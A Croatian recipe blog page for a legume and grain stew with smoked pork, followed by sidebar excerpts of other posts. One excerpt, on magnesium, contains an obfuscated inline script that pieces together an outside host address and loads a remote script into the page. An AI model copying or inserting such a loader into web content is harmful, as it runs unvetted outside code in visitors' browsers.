ĆUŠPAJZ OD GRAHORICA S DIMLJENIM MESOM



Ćušpajz od grahorica s dimljenim mesom 



Ovo je izvrsna i moderna alternativa klasičnim varivima sa suhim mesom.




Ćušpajz od grahorica s dimljenim mesom 


Sastojci:

30 g sjemenki lana 
60 g raži 
50 g mješavine leće 
500 g bunceka ili rebara 
Sol i papar 
1 mrkva 
1 lovorov list 
Svježi kopar i ružmarin 
50 g ječma 
Šaka šarenog graha 
2 češnja češnjaka 




Priprema:

U lonac stavite dimljeno meso, buncek, rebra ili slično, pokrijte vodom i pustite da zavrije.

Nakon pet minuta kuhanja bacite prvu vodu.

Ponovno pokrijte medo vodom, dodajte lovor, papar u zrnu, po želji grančicu ružmarina te sve kuhajte na laganoj vatri 3 do 4 sata ovisno o veličini komada mesa.

U drugi lonac stavite grahorice počevši s onima kojima treba najviše vremena da se skuhaju.

Podlijte s 1,3 l vode.

Prvo kuhajte raž, nakon pola sata dodajte ječam, lan i šareni grah, a nakon još pola sata šarenu leću.

Prema potrebi podlijte s još malo vode kad dodate grahorice.

U maloj tavi ispržite cijele zgnječene češnjeve češnjaka i dodajte nekoliko kockica mrkve i svježe paprike.

Sve pomiješajte s grahoricama u koje ste dodali sjeckani svježi kopar.

Prokuhajte još 5 minuta i poklopljeno stavite sa strane.

Nakon što je meso sasvim kuhano te je omekšalo u istom loncu sjedinite vodu od mesa, meso i grahorice, pa sve zajedno kuhajte još 10 minuta da se okusi prožmu.

Servirajte toplo uz meso poslužite dobar grubi senf ili kremasti hren.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više